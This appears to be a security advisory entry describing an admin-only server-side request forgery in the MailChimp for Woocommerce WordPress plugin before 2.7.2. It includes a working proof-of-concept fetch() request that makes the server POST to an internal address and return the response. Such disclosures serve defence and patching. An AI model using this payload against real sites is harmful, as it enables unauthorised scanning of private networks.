WordPress Plugin Vulnerabilities

MailChimp for Woocommerce < 2.7.2 - Admin+ SSRF

Description

The plugin has an AJAX action that allows high privilege users to perform a POST request on behalf of the server to the internal network/LAN, the body of the request is also appended to the response so it can be used to scan private network for example

Proof of Concept

As an admin:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "accept": "application/json, text/javascript, */*; q=0.01",
    "accept-language": "en-US,en;q=0.9",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "action=mailchimp_woocommerce_oauth_status&url=http://127.0.0.1:8181",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

Affects Plugins

References

Classification

Type
SSRF
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Miguel Xavier Penha Neto
Submitter
Miguel Xavier Penha Neto
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-08-03 (about 1 years ago)
Added
2022-08-03 (about 1 years ago)
Last Updated
2023-04-12 (about 7 months ago)

Other